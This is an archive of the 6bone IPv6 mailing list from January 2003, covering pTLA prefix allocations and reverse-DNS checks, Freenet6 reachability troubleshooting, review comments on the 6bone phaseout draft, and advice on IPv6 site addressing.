# dig 2.0.0.4.e.f.f.3.ip6.int. ns @::1  

; <<>> DiG 9.3.0s20021115 <<>> 2.0.0.4.e.f.f.3.ip6.int. ns @::1
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29730
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:
;2.0.0.4.e.f.f.3.ip6.int.       IN      NS

;; AUTHORITY SECTION:
2.0.0.4.e.f.f.3.ip6.int. 86400  IN      NS      dns1.ipv6.motlabs.com.
2.0.0.4.e.f.f.3.ip6.int. 86400  IN      NS      dns2.ipv6.motlabs.com.

;; Query time: 0 msec
;; SERVER: ::1#53(::1)


From bmanning@vacation.karoshi.com Tue Jan 21 11:14:13 2003
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To: bob@thefinks.com (Bob Fink)
Date: Tue, 21 Jan 2003 11:16:03 -0800 (PST)
Cc: 6bone@mailman.isi.edu (6BONE List), ipv6@loxinfo.co.th (Loxinfo IPv6 Team),
   hostmaster@ep.net (6bone reverse DNS registration)
In-Reply-To: <5.2.0.9.0.20030121075905.0232ccb0@mail.addr.com> from "Bob Fink" at Jan 21, 2003 08:02:41 AM
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> 
> LOXINFO-TH has been allocated pTLA 3FFE:4014::/32 having finished its 
> 2-week review period.
> 
>    <http://whois.6bone.net/cgi-bin/whois?LOXINFO-TH>
> 
> 
> Note that it will take a short while for their pTLA inet6num entry to 
> appear in the 6bone registry as they have to create it themselves. However, 
> their registration is listed on:
> 
>    <http://www.6bone.net/6bone_pTLA_list.html>	
> 
> 
> [To create a reverse DNS registration for pTLAs, please send the prefix 
> allocated above, and a list of at least two authoritative nameservers, to 
> hostmaster@ep.net.]
> 
> 
> Thanks,
> 
> Bob 
> 

Waiting for input from the LOXINFO...

; <<>> DiG 9.3.0s20021115 <<>> 4.1.0.4.e.f.f.3.ip6.int. ns @::1
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55909
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;4.1.0.4.e.f.f.3.ip6.int.       IN      NS

;; AUTHORITY SECTION:
4.1.0.4.e.f.f.3.ip6.int. 86400  IN      NS      noserver.

;; Query time: 0 msec
;; SERVER: ::1#53(::1)
;; WHEN: Wed Jan 22 03:13:59 2003



From bob@thefinks.com Wed Jan 22 08:11:41 2003
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Cc: "UPPENDAHL,MICKEY (HP-Corvallis,ex1)" <mickey_uppendahl@hp.com>,
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Subject: [6bone] 6bone pTLA 3FFE:4015::/32 allocated to HP
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HP has been allocated pTLA 3FFE:4015::/32 having finished its 2-week review 
period.

   <http://whois.6bone.net/cgi-bin/whois?HP>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob 


From andreas@naund.org Wed Jan 22 10:28:38 2003
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Date: Wed, 22 Jan 2003 10:28:37 -0800
From: Andreas Ott <andreas@naund.org>
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Subject: [6bone] freenet6 service gone?
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Hello,
during the past days I'm having a hard time establishing the connection 
back to Freenet6. Did I miss any announcement about it being down?

Their DNS is mostly gone and consequently their web page is not
easily reachable, using a numeric IP it times out.

   Domain servers in listed order:

   JAZZ.VIAGENIE.QC.CA          206.123.31.2
   CLOUSO.RISQ.QC.CA            192.26.210.1
   RAP.VIAGENIE.QC.CA           206.123.31.101

[bear]~$ host tsps1.freenet6.net 206.123.31.2
;; connection timed out; no servers could be reached
[bear]~$ host tsps1.freenet6.net 206.123.31.101
;; connection timed out; no servers could be reached
[bear]~$ host tsps1.freenet6.net 192.26.210.1
Using domain server:
Name: 192.26.210.1
Address: 192.26.210.1#53

tsps1.freenet6.net has address 206.123.31.114
[bear]~$ ping 206.123.31.114
PING 206.123.31.114 (206.123.31.114) from 172.17.2.121 : 56(84) bytes of data.

--- 206.123.31.114 ping statistics ---
11 packets transmitted, 0 received, 100% loss, time 10012ms

Any clues would be highly appreciated. Thanks, andreas
-- 
Andreas Ott                            andreas@naund.org

From mail@thomas--schaefer.de Wed Jan 22 12:05:38 2003
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You should subscribe the users@freenet6.net list:




[Freenet6] Network maintenance
Datum: Mon, 20 Jan 2003 16:53:12 -0500
Von: Freenet6 Administrator <tsp-support@freenet6.net>
An: users@freenet6.net

Freenet6 users,

We will be doing a lot of work on our network infrastruture tomorrow 
(21-01-2003).  It                                        will cause some 
instability and the Freenet6 service should be unreachable for at least 1 
hour starting at 10h30 EST.

--
Thanks for using Freenet6,

Freenet6 Administrator



Am Mittwoch, 22. Januar 2003 19:28 schrieb Andreas Ott:
> Hello,
> during the past days I'm having a hard time establishing the connection
> back to Freenet6. Did I miss any announcement about it being down?
>
> Their DNS is mostly gone and consequently their web page is not
> easily reachable, using a numeric IP it times out.
>
>    Domain servers in listed order:
>
>    JAZZ.VIAGENIE.QC.CA          206.123.31.2
>    CLOUSO.RISQ.QC.CA            192.26.210.1
>    RAP.VIAGENIE.QC.CA           206.123.31.101
>
> [bear]~$ host tsps1.freenet6.net 206.123.31.2
> ;; connection timed out; no servers could be reached
> [bear]~$ host tsps1.freenet6.net 206.123.31.101
> ;; connection timed out; no servers could be reached
> [bear]~$ host tsps1.freenet6.net 192.26.210.1
> Using domain server:
> Name: 192.26.210.1
> Address: 192.26.210.1#53
>
> tsps1.freenet6.net has address 206.123.31.114
> [bear]~$ ping 206.123.31.114
> PING 206.123.31.114 (206.123.31.114) from 172.17.2.121 : 56(84) bytes of
> data.
>
> --- 206.123.31.114 ping statistics ---
> 11 packets transmitted, 0 received, 100% loss, time 10012ms
>
> Any clues would be highly appreciated. Thanks, andreas


From jeroen@unfix.org Wed Jan 22 12:12:33 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Andreas Ott'" <andreas@naund.org>, <6bone@mailman.isi.edu>
Subject: Freenet6 is alive and kicking (Was: [6bone] freenet6 service gone?)
Date: Wed, 22 Jan 2003 21:12:27 +0100
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Andreas Ott wrote:

> during the past days I'm having a hard time establishing the 
> connection back to Freenet6. Did I miss any announcement about it
being down?

It still works perfectly well.

> Their DNS is mostly gone and consequently their web page is not
> easily reachable, using a numeric IP it times out.

Use traceroute and call your upstream ISP.

$ ping www.freenet6.net
PING www.freenet6.net (206.123.31.114) 56(84) bytes of data.
64 bytes from www.freenet6.net (206.123.31.114): icmp_seq=1 ttl=241
time=120 ms
64 bytes from www.freenet6.net (206.123.31.114): icmp_seq=2 ttl=241
time=126 ms

(Mind you this is pinging from the Netherlands, at the other side of the
pond :)

$ mtr --report --report-cycles=5 www.freenet6.net
HOST                                    LOSS  RCVD SENT    BEST     AVG
WORST
gw-64-92.sms-1.ams-tel.cistron.net        0%     5    5   16.67   17.69
19.60
ve10.rtr-1.ams-tel.cistron.net            0%     5    5   17.05   17.71
18.04
adm-tc1-i2-feth3-0.telia.net              0%     5    5   18.66   19.93
23.03
adm-tc1-i1-pos0-0.telia.net               0%     5    5   18.62   20.75
25.06
adm-bb1-pos0-3-1.telia.net                0%     5    5   18.39   19.87
21.59
ldn-bb1-pos1-1-0.telia.net                0%     5    5   26.21   27.48
29.15
ldn-bb2-pos0-0-0.telia.net                0%     5    5   27.02   29.90
39.11
nyk-bb2-pos2-3-0.telia.net                0%     5    5   98.56   99.58
100.94
nyk-i2-pos1-0.telia.net                   0%     5    5   98.34   99.39
100.74
p4-1-1-0.r04.nycmny01.us.bb.verio.net     0%     5    5   98.63  100.44
104.39
p4-0.grouptelecom.nycmny01.us.bb.verio.net    0%     5    5   98.81
100.31  104.25
GE3-0.WANA-MTRLPQ.IP.GROUPTELECOM.NET     0%     5    5  111.88  113.80
118.13
h216-18-72-146.gtconnect.net              0%     5    5  115.37  119.05
129.66
h216-18-114-66.gtconnect.net              0%     5    5  117.08  119.96
124.08
h66-201-212-225.gtconnect.net             0%     5    5  115.70  116.66
117.70
www.freenet6.net                          0%     4    5  117.37  123.78
134.17

There isn't a AAAA present for that host though ;(

Greets,
 Jeroen


From pekkas@netcore.fi Wed Jan 22 13:30:01 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: 6bone@ISI.EDU
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Subject: [6bone] comments on draft-fink-6bone-phaseout-00
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Hello,

A few comments.

In general, I think the schedule should even be sped up a bit (allocation 
DL 31.12.2003, withdrawal 31.12.2004 or 1.7.2005), but I'm okay with the 
current one if that's what folks think.

Substantial:

The IANA MUST reclaim the
   3FFE::/16 prefix upon the date specified in 2.0, and MUST make
   provisions to set it aside from any other uses for a period of at
   least two years after this date to minimize confusion with its
   current use for the 6bone (e.g., thus allowing production IPv6
   networks to filter out the use of the 3FFE::/16 prefix for a
   reasonable time after the 6bone phaseout).

==> I'm not sure about the second MUST.  Perhaps a SHOULD would do?  For 
example, consider if someone specified a locator,identifier separation 
mechanisms which would use two IPv6 addresses.  Identifiers would be from 
3000::/4 and the rest would be as before.  The above wording as I read it 
would prevent the allocation of 3000::/4.

Editorial:

   This document is intended to obsolete RFC 2471, "IPv6 Testing Address
   Allocation", December, 1998.  RFC 2471 will become historic.

==> I'm not sure of the process issue, but I'm not sure if obseleting 
means moving the obsoleted document to historic, right?  If not, these two 
requested actions should be more clearly separated.

   format, [TEST-OLD] was replaced with a new IPv6 testing address
   allocation"

==> add the opening " somewhere

   Regional Internet Registry (RIR), National Internet Registry, or   
   Local Internet Registries (ISPs).

==> all LIR's aren't ISPs.

3.0 References

==> references should be after security considerations 


-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From jeroen@unfix.org Wed Jan 22 15:45:03 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Pekka Savola'" <pekkas@netcore.fi>, <6bone@ISI.EDU>
Subject: RE: [6bone] comments on draft-fink-6bone-phaseout-00
Date: Thu, 23 Jan 2003 00:44:55 +0100
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Pekka Savola wrote:

> Hello,
> 
> A few comments.
> 
> In general, I think the schedule should even be sped up a bit 
> (allocation DL 31.12.2003, withdrawal 31.12.2004 or 1.7.2005),
> but I'm okay with the current one if that's what folks think.

I am fine too with the current thing, but one could take into
consideration the new RIPE-267* IPv6 Address Allocation Policy
which has an explicit part for "Assignments for Internet Experiments".
See section 6.0 of the following link:

* = http://www.ripe.net/ripe/docs/ipv6policy.html#experiment-assignments

IMHO this section almost describes a 6bone alike setup.
Thus companies wanting to experiment could do this in RIR space too.

Greets,
 Jeroen


From bob@thefinks.com Wed Jan 22 18:58:37 2003
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From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] comments on draft-fink-6bone-phaseout-00
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Pekka,

At 11:29 PM 1/22/2003 +0200, Pekka Savola wrote:
>Hello,
>
>A few comments.
>
>In general, I think the schedule should even be sped up a bit (allocation
>DL 31.12.2003, withdrawal 31.12.2004 or 1.7.2005), but I'm okay with the
>current one if that's what folks think.
>
>Substantial:
>
>The IANA MUST reclaim the
>    3FFE::/16 prefix upon the date specified in 2.0, and MUST make
>    provisions to set it aside from any other uses for a period of at
>    least two years after this date to minimize confusion with its
>    current use for the 6bone (e.g., thus allowing production IPv6
>    networks to filter out the use of the 3FFE::/16 prefix for a
>    reasonable time after the 6bone phaseout).
>
>==> I'm not sure about the second MUST.  Perhaps a SHOULD would do?  For
>example, consider if someone specified a locator,identifier separation
>mechanisms which would use two IPv6 addresses.  Identifiers would be from
>3000::/4 and the rest would be as before.  The above wording as I read it
>would prevent the allocation of 3000::/4.

No, it only means 3ffe::/16 as it says, not anything shorter like 3000::/4. 
I can add the prefix again in the wording if you think it makes a difference.


>Editorial:
>
>    This document is intended to obsolete RFC 2471, "IPv6 Testing Address
>    Allocation", December, 1998.  RFC 2471 will become historic.
>
>==> I'm not sure of the process issue, but I'm not sure if obseleting
>means moving the obsoleted document to historic, right?  If not, these two
>requested actions should be more clearly separated.

I think moving it to historic makes it obsolete.


>    format, [TEST-OLD] was replaced with a new IPv6 testing address
>    allocation"
>
>==> add the opening " somewhere

Don't get what you mean.


>    Regional Internet Registry (RIR), National Internet Registry, or
>    Local Internet Registries (ISPs).
>==> all LIR's aren't ISPs.

Just referring to it the way the RIRs do. Should I just remove the ISP 
part, or elaborate?


>3.0 References
>
>==> references should be after security considerations

OK.


Thanks,

Bob  


From pekkas@netcore.fi Wed Jan 22 23:26:13 2003
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Date: Thu, 23 Jan 2003 09:26:01 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <bob@thefinks.com>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] comments on draft-fink-6bone-phaseout-00
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On Wed, 22 Jan 2003, Bob Fink wrote:
> >The IANA MUST reclaim the
> >    3FFE::/16 prefix upon the date specified in 2.0, and MUST make
> >    provisions to set it aside from any other uses for a period of at
> >    least two years after this date to minimize confusion with its
> >    current use for the 6bone (e.g., thus allowing production IPv6
> >    networks to filter out the use of the 3FFE::/16 prefix for a
> >    reasonable time after the 6bone phaseout).
> >
> >==> I'm not sure about the second MUST.  Perhaps a SHOULD would do?  For
> >example, consider if someone specified a locator,identifier separation
> >mechanisms which would use two IPv6 addresses.  Identifiers would be from
> >3000::/4 and the rest would be as before.  The above wording as I read it
> >would prevent the allocation of 3000::/4.
> 
> No, it only means 3ffe::/16 as it says, not anything shorter like 3000::/4. 
> I can add the prefix again in the wording if you think it makes a difference.

Perhaps it should be spelled out.

> >    format, [TEST-OLD] was replaced with a new IPv6 testing address
> >    allocation"
> >
> >==> add the opening " somewhere
> 
> Don't get what you mean.

I mean that you probably meant something like:

format, [TEST-OLD] was replaced with a new "IPv6 testing address
allocation"                               ^^^

> >    Regional Internet Registry (RIR), National Internet Registry, or
> >    Local Internet Registries (ISPs).
> >==> all LIR's aren't ISPs.
> 
> Just referring to it the way the RIRs do. Should I just remove the ISP 
> part, or elaborate?

Could just changing "ISPs" to "LIRs" do it?

Hmm.. upon further reading it seems new text would be required; let's 
see..

   This plan for a 6bone phaseout specifies a multi-year phaseout
   timeline to allow sufficient time for continuing operation of the
   6bone, followed by a sufficient time for 6bone participants to
   convert to production IPv6 address prefixes allocated by the relevant
   Regional Internet Registry (RIR), National Internet Registry, or
   Local Internet Registries (ISPs).

the problem here is the word "allocated".  Soem 6bone participants would 
be _assigned_ a prefix (or two) from a LIR.  So perhaps rewording like:

   This plan for a 6bone phaseout specifies a multi-year phaseout
   timeline to allow sufficient time for continuing operation of the
   6bone, followed by a sufficient time for 6bone participants to
   convert to production IPv6 address prefixes allocated by the relevant
   Regional Internet Registry (RIR).  Some may also obtain addresses via
   assignment from National Internet Registry, or Local Internet 
   Registries (LIRs).

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings






From bob@thefinks.com Wed Jan 22 23:40:01 2003
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Date: Wed, 22 Jan 2003 23:39:49 -0800
To: Pekka Savola <pekkas@netcore.fi>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] comments on draft-fink-6bone-phaseout-00
Cc: 6bone@ISI.EDU
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Pekka,

Thanks.


Bob

===
At 09:26 AM 1/23/2003 +0200, Pekka Savola wrote:
>On Wed, 22 Jan 2003, Bob Fink wrote:
> > >The IANA MUST reclaim the
> > >    3FFE::/16 prefix upon the date specified in 2.0, and MUST make
> > >    provisions to set it aside from any other uses for a period of at
> > >    least two years after this date to minimize confusion with its
> > >    current use for the 6bone (e.g., thus allowing production IPv6
> > >    networks to filter out the use of the 3FFE::/16 prefix for a
> > >    reasonable time after the 6bone phaseout).
> > >
> > >==> I'm not sure about the second MUST.  Perhaps a SHOULD would do?  For
> > >example, consider if someone specified a locator,identifier separation
> > >mechanisms which would use two IPv6 addresses.  Identifiers would be from
> > >3000::/4 and the rest would be as before.  The above wording as I read it
> > >would prevent the allocation of 3000::/4.
> >
> > No, it only means 3ffe::/16 as it says, not anything shorter like 
> 3000::/4.
> > I can add the prefix again in the wording if you think it makes a 
> difference.
>
>Perhaps it should be spelled out.
>
> > >    format, [TEST-OLD] was replaced with a new IPv6 testing address
> > >    allocation"
> > >
> > >==> add the opening " somewhere
> >
> > Don't get what you mean.
>
>I mean that you probably meant something like:
>
>format, [TEST-OLD] was replaced with a new "IPv6 testing address
>allocation"                               ^^^
>
> > >    Regional Internet Registry (RIR), National Internet Registry, or
> > >    Local Internet Registries (ISPs).
> > >==> all LIR's aren't ISPs.
> >
> > Just referring to it the way the RIRs do. Should I just remove the ISP
> > part, or elaborate?
>
>Could just changing "ISPs" to "LIRs" do it?
>
>Hmm.. upon further reading it seems new text would be required; let's
>see..
>
>    This plan for a 6bone phaseout specifies a multi-year phaseout
>    timeline to allow sufficient time for continuing operation of the
>    6bone, followed by a sufficient time for 6bone participants to
>    convert to production IPv6 address prefixes allocated by the relevant
>    Regional Internet Registry (RIR), National Internet Registry, or
>    Local Internet Registries (ISPs).
>
>the problem here is the word "allocated".  Soem 6bone participants would
>be _assigned_ a prefix (or two) from a LIR.  So perhaps rewording like:
>
>    This plan for a 6bone phaseout specifies a multi-year phaseout
>    timeline to allow sufficient time for continuing operation of the
>    6bone, followed by a sufficient time for 6bone participants to
>    convert to production IPv6 address prefixes allocated by the relevant
>    Regional Internet Registry (RIR).  Some may also obtain addresses via
>    assignment from National Internet Registry, or Local Internet
>    Registries (LIRs).
>
>--
>Pekka Savola                 "You each name yourselves king, yet the
>Netcore Oy                    kingdom bleeds."
>Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From rvdp@rvdp.org Thu Jan 23 02:17:29 2003
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Date: Thu, 23 Jan 2003 11:17:09 +0100
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Bob Fink <bob@thefinks.com>
Cc: Pekka Savola <pekkas@netcore.fi>, 6bone@ISI.EDU
Subject: Re: [6bone] comments on draft-fink-6bone-phaseout-00
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On Wed, Jan 22, 2003 at 18:58:14 -0800, Bob Fink wrote:

> >The IANA MUST reclaim the
> >   3FFE::/16 prefix upon the date specified in 2.0, and MUST make
> >   provisions to set it aside from any other uses for a period of at
> >   least two years after this date to minimize confusion with its
> >   current use for the 6bone (e.g., thus allowing production IPv6
> >   networks to filter out the use of the 3FFE::/16 prefix for a
> >   reasonable time after the 6bone phaseout).
> >
> >==> I'm not sure about the second MUST.  Perhaps a SHOULD would do?  For
> >example, consider if someone specified a locator,identifier separation
> >mechanisms which would use two IPv6 addresses.  Identifiers would be from
> >3000::/4 and the rest would be as before.  The above wording as I read it
> >would prevent the allocation of 3000::/4.
> 
> No, it only means 3ffe::/16 as it says, not anything shorter like 3000::/4. 
> I can add the prefix again in the wording if you think it makes a 
> difference.

I think what Pekka is saying is that reserving 3ffe::/16 prevents usage
of any prefix that includes 3ffe::/16, e.g. 3000::/4.

I think it is unlikely that we need a /4 for experiments in the next two
years (let's first come up with a plan for ID/LOC separation :-) There are
plenty of /16s in 2000::/4 or 3000::/4 that can be used for experiments.
Or we can use any of the other unassigned blocks.

But on the other hand a MUST is strong. Maybe SHOULD is better.

	rvdp

From bob@thefinks.com Thu Jan 23 09:17:54 2003
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Date: Thu, 23 Jan 2003 09:16:49 -0800
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] comments on draft-fink-6bone-phaseout-00
Cc: Pekka Savola <pekkas@netcore.fi>, 6bone@ISI.EDU
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Ronald,

At 11:17 AM 1/23/2003 +0100, Ronald van der Pol wrote:
>On Wed, Jan 22, 2003 at 18:58:14 -0800, Bob Fink wrote:
>
> > >The IANA MUST reclaim the
> > >   3FFE::/16 prefix upon the date specified in 2.0, and MUST make
> > >   provisions to set it aside from any other uses for a period of at
> > >   least two years after this date to minimize confusion with its
> > >   current use for the 6bone (e.g., thus allowing production IPv6
> > >   networks to filter out the use of the 3FFE::/16 prefix for a
> > >   reasonable time after the 6bone phaseout).
> > >
> > >==> I'm not sure about the second MUST.  Perhaps a SHOULD would do?  For
> > >example, consider if someone specified a locator,identifier separation
> > >mechanisms which would use two IPv6 addresses.  Identifiers would be from
> > >3000::/4 and the rest would be as before.  The above wording as I read it
> > >would prevent the allocation of 3000::/4.
> >
> > No, it only means 3ffe::/16 as it says, not anything shorter like 
> 3000::/4.
> > I can add the prefix again in the wording if you think it makes a
> > difference.
>
>I think what Pekka is saying is that reserving 3ffe::/16 prevents usage
>of any prefix that includes 3ffe::/16, e.g. 3000::/4.
>I think it is unlikely that we need a /4 for experiments in the next two
>years (let's first come up with a plan for ID/LOC separation :-) There are
>plenty of /16s in 2000::/4 or 3000::/4 that can be used for experiments.
>Or we can use any of the other unassigned blocks.
>
>But on the other hand a MUST is strong. Maybe SHOULD is better.

OK, comment duly noted. Will see what others say.


Thanks,

Bob 


From michel@arneill-py.sacramento.ca.us Thu Jan 23 21:13:29 2003
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Subject: [6bone] comments on draft-fink-6bone-phaseout-00 
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> Rvdp vrote:
> I think what Pekka is saying is that reserving 3ffe::/16
> prevents usage of any prefix that includes 3ffe::/16, e.g.
> 3000::/4. I think it is unlikely that we need a /4 for
> experiments in the next two years

Tony Hain's draft. However, I don't think this is an issue. There are
other /4s to allocate if needed.

Michel.


From mickey_uppendahl@hp.com Fri Jan 24 09:52:43 2003
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From: "UPPENDAHL,MICKEY (HP-Corvallis,ex1)" <mickey_uppendahl@hp.com>
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   bob@thefinks.com
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   "HARRITT,JIM (HP-Corvallis,ex1)" <jim_harritt@ex.cv.hp.com>,
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Date: Fri, 24 Jan 2003 09:52:39 -0800
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Subject: [6bone] RE: 6bone pTLA 3FFE:4015::/32 allocated to HP
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I believe we're set up on these name servers:

	corns01.hwp6.net (3ffe:2900:100f:3fff::1 and 156.152.36.140)
	palns01.hwp6.net (3ffe:2900:100f:3fff::1:1 and 156.152.38.140)

; <<>> DiG 9.2.1 <<>> 5.1.0.4.e.f.f.3.ip6.int NS
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25223
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 4

;; QUESTION SECTION:
;5.1.0.4.e.f.f.3.ip6.int.       IN      NS

;; ANSWER SECTION:
5.1.0.4.e.f.f.3.ip6.int. 9000   IN      NS      palns01.hwp6.net.
5.1.0.4.e.f.f.3.ip6.int. 9000   IN      NS      corns01.hwp6.net.

;; ADDITIONAL SECTION:
corns01.hwp6.net.       1200    IN      A       156.152.36.140
corns01.hwp6.net.       1200    IN      AAAA    3ffe:2900:100f:3fff::1
palns01.hwp6.net.       1200    IN      A       156.152.38.140
palns01.hwp6.net.       1200    IN      AAAA    3ffe:2900:100f:3fff::1:1

;; Query time: 2 msec
;; SERVER: ::1#53(::1)
;; WHEN: Fri Jan 24 09:43:31 2003
;; MSG SIZE  rcvd: 181

I it was on my list for yesterday to get you this info, sorry for the delay.

We'll get the name servers into our own space soon as well, but they should
be functioning now.

-Mickey Uppendahl
 HP - MSDD Strategic Communications Architecture
 mickey.uppendahl@hp.com



-----Original Message-----
From: bmanning@vacation.karoshi.com [mailto:bmanning@vacation.karoshi.com] 
Sent: Friday, January 24, 2003 4:14 AM
To: bob@thefinks.com
Cc: 6bone@mailman.isi.edu; mickey_uppendahl@hp.com; steve_froelich@hp.com;
hostmaster@ep.net
Subject: Re: 6bone pTLA 3FFE:4015::/32 allocated to HP


 waiting for updates from HP.

; <<>> DiG 9.3.0s20021115 <<>> 5.1.0.4.e.f.f.3.ip6.int. ns @::1 ;; global
options:  printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status:
NOERROR, id: 58707 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1,
ADDITIONAL: 0

;; QUESTION SECTION:
;5.1.0.4.e.f.f.3.ip6.int.       IN      NS

;; AUTHORITY SECTION:
5.1.0.4.e.f.f.3.ip6.int. 86400  IN      NS      noserver.




> 
> HP has been allocated pTLA 3FFE:4015::/32 having finished its 2-week 
> review
> period.
> 
>    <http://whois.6bone.net/cgi-bin/whois?HP>
> 
> 
> Note that it will take a short while for their pTLA inet6num entry to
> appear in the 6bone registry as they have to create it themselves.
However, 
> their registration is listed on:
> 
>    <http://www.6bone.net/6bone_pTLA_list.html>	
> 
> 
> [To create a reverse DNS registration for pTLAs, please send the 
> prefix
> allocated above, and a list of at least two authoritative nameservers, to 
> hostmaster@ep.net.]
> 
> 
> Thanks,
> 
> Bob
> 

From ajs@labs.mot.com Fri Jan 24 16:58:29 2003
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Date: Fri, 24 Jan 2003 18:58:25 -0600
From: "Aron Silverton"<ajs@labs.mot.com>
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Subject: [6bone] Site addressing best practices?
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Does anybody out there have a sample address plan or a document on best 
practices for delegating IPv6 addresses within an ISP or organization?

It looks as though I'm going to be doing some readdressing soon, and I'd 
like to put a nice plan into place.  I'm not too terribly concerned with 
how the bits are doled out - from the left, center, or right - as the 
chances of having to grow a prefix are quite slim.  I'll probably end up 
  not assigning them contiguously just to be sure.

What I am concerned with is how best to use addresses within the /48s 
that I will assign.  This includes address assignments for our main site 
and other internal sites some of which may be tunneled across IPv4 links.

What have people found to be the best way to manage assignments for 
loopbacks, PTP links, multiple subnets of hosts, etc?  I'll probably 
stick with /64s for the PTPs as opposed to /126, /127, or /112.

If I am being too general, let me know and I'll try to post some 
specific questions.

Thanks,

Aron
-- 
Aron J. Silverton
Senior Staff Research Engineer
Motorola Laboratories, Networks and Infrastructure Research
Motorola, Inc.

Telephone: 847-576-8747
Fax: 847-576-3240
mailto: ajs@labs.mot.com


From nicolas.deffayet@ndsoftware.net Sat Jan 25 04:18:20 2003
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Subject: Re: [6bone] Site addressing best practices?
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On Sat, 2003-01-25 at 01:58, Aron Silverton wrote:
> Does anybody out there have a sample address plan or a document on best 
> practices for delegating IPv6 addresses within an ISP or organization?

You can find many IPv6 address plan with Google:

http://www.stack.nl/ipv6/
http://www.cairn.net/addressv6.html
http://www.slac.stanford.edu/comp/net/ipv6/ipv6.html
http://www.v6.wide.ad.jp/Registry/
http://ipv6.internet2.edu/Abilene_IPv6_Addressing.shtml
http://noc.aco.net/ipv6/extern/ACOnet-sTLA-Plan.html
http://wwwhome.cs.utwente.nl/~meent/ipv6.html

> What have people found to be the best way to manage assignments for 
> loopbacks, PTP links, multiple subnets of hosts, etc?  I'll probably 
> stick with /64s for the PTPs as opposed to /126, /127, or /112.

We use /64.

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From michel@arneill-py.sacramento.ca.us Sat Jan 25 12:29:56 2003
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> Aron Silverton wrote:

> Does anybody out there have a sample address plan or a document
> on best practices for delegating IPv6 addresses within an ISP
> or organization?

Make sure you read:
http://www.ietf.org/internet-drafts/draft-ietf-ipv6-ipaddressassign-06.t
xt



> What have people found to be the best way to manage assignments
> for loopbacks, PTP links, multiple subnets of hosts, etc?  I'll
> probably stick with /64s for the PTPs as opposed to /126, /127,
> or /112.

/64s are the only way that complies with:
http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-addr-arch-v3-11.tx
t
which is to replace RFC2373.

Michel.


From Emanuele.Logalbo@TILAB.COM Mon Jan 27 02:16:45 2003
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Hi,everybody.
I am trying to set up a test plant for Ipv6 multicast in my lab.So I thought using freebsd 4.7 that  supports, natively ,pim6sd for PIM-SM and maybe for MLD. I am not sure about MLD because I read a document relating to freebsd 4.7 stating that for host-side MLDv2 implementation,  kame snaps will be necessary over freebsd.
So I have some questions :
1) For the host-side    Do I have to use  freebsd 4.7 + kame snap?
2) for the router-side  Do i have to use just freebsd 4.7?
3) If I had to install kame snap please could you give me the way to find friendly instructions how to install over freebsd? I have to find some papers but little friendly.
Please give me hints.
Best Regards
E.



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From michel@arneill-py.sacramento.ca.us Mon Jan 27 20:30:40 2003
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Dan,

> Dan Reeder wrote:
> Force/encourage the RIRs to offer netblocks *cheaply*.

In the context of tour (excellent) post, this is flawless logic.
However, it might backfire. On another list, we are currently discussing
about putting a hefty price on announcing a prefix in the global routing
table should allocation of PI addresses to end-sites become unavoidable.
At this point in time, I do not think that we should encourage RIRs to
give away portable address without a good reason.

Michel.


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Michel,

Michel Py wrote:
>>Aron Silverton wrote:
> 
> 
>>Does anybody out there have a sample address plan or a document
>>on best practices for delegating IPv6 addresses within an ISP
>>or organization?
> 
> 
> Make sure you read:
> http://www.ietf.org/internet-drafts/draft-ietf-ipv6-ipaddressassign-06.t
> xt
> 

Thanks, We are aware of that draft.

> 
>>What have people found to be the best way to manage assignments
>>for loopbacks, PTP links, multiple subnets of hosts, etc?  I'll
>>probably stick with /64s for the PTPs as opposed to /126, /127,
>>or /112.
> 
> 
> /64s are the only way that complies with:
> http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-addr-arch-v3-11.tx
> t
> which is to replace RFC2373.
> 

Correct.  Like I said, we too, are using /64.  Regardless of the draft, 
many people still use something other than /64.

> Michel.
>

FWIW, we are using CAIRN's address plan adapted to fit our longer 6bone 
pTLA.

I thought that I would ask this question on the list to generate 
discussion based on what people have learned in practice, versus what is 
printed in a draft on a possible method of assigning bits in an address.

I find it hard to believe that there is so little variance in what 
people are doing in the case of POPs and end sites.

Thanks for the pointers all the same.

Aron

-- 
Aron J. Silverton
Senior Staff Research Engineer
Motorola Laboratories, Networks and Infrastructure Research
Motorola, Inc.

Telephone: 847-576-8747
Fax: 847-576-3240
mailto: ajs@labs.mot.com


From bob@thefinks.com Tue Jan 28 08:57:24 2003
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The 6bone pTLA allocated to TIAI has been returned voluntarily.

